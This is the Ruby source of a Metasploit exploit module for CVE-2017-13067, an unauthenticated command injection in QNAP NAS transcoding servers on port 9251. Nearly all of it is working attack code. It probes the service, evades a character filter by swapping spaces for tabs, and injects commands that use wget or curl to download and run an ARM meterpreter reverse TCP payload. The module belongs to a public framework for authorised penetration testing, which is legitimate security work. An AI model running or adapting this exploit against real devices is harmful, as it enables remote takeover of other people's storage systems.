Path: blob/master/modules/exploits/linux/misc/qnap_transcode_server.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'QNAP Transcode Server Command Execution',16'Description' => %q{17This module exploits an unauthenticated remote command injection18vulnerability in QNAP NAS devices. The transcoding server listens19on port 9251 by default and is vulnerable to command injection20using the 'rmfile' command.2122This module was tested successfully on a QNAP TS-431 with23firmware version 4.3.3.0262 (20170727).24},25'Author' => [26'Zenofex', # Initial vulnerability discovery and PoC27'0x00string', # Initial vulnerability discovery and PoC28'bcoles' # Metasploit29],30'License' => MSF_LICENSE,31'Platform' => 'linux',32'References' => [33[ 'CVE', '2017-13067' ],34[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],35[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]36],37'DisclosureDate' => '2017-08-06',38'Privileged' => true,39'Arch' => ARCH_ARMLE,40'DefaultOptions' => {41'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'42},43'Targets' => [['Automatic', {}]],44'CmdStagerFlavor' => %w{wget curl},45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56Opt::RPORT(9251),57OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])58]59)60deregister_options 'cmdstager::decoder'61end6263def check64vprint_status 'Connecting to transcode server...'6566connect67sock.put "\x01\x00\x00\x00"68res = sock.get_once6970if res.blank?71vprint_status 'No reply from server'72return CheckCode::Safe73end7475vprint_status "Received response: #{res}"7677return CheckCode::Detected if res.to_s =~ /client's request is accepted/7879CheckCode::Safe80rescue ::Rex::ConnectionError81vprint_error 'Connection failed'82return CheckCode::Unknown83ensure84disconnect85end8687def execute_command(cmd, opts)88# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %89# Execute each command seperately90cmd.split(';').each do |c|91connect92vprint_status "Executing command: #{c}"9394# Replace spaces with tabs95c.tr! ' ', "\t"9697sock.put "\x01\x00\x00\x00/|#{c}|\x00"98res = sock.get_once99100unless res.to_s =~ /client's request is accepted/101print_status 'Unexpected reply'102break103end104105print_status "Sent command successfully (#{c.length} bytes)"106107disconnect108109if c =~ /^(curl|wget)/110print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."111Rex.sleep datastore['DELAY']112end113end114rescue ::Rex::ConnectionError115fail_with Failure::Unreachable, 'Failed to connect to the transcode server'116ensure117disconnect118end119120def exploit121vprint_status 'Connecting to transcode server...'122execute_cmdstager linemax: 400123end124end125126127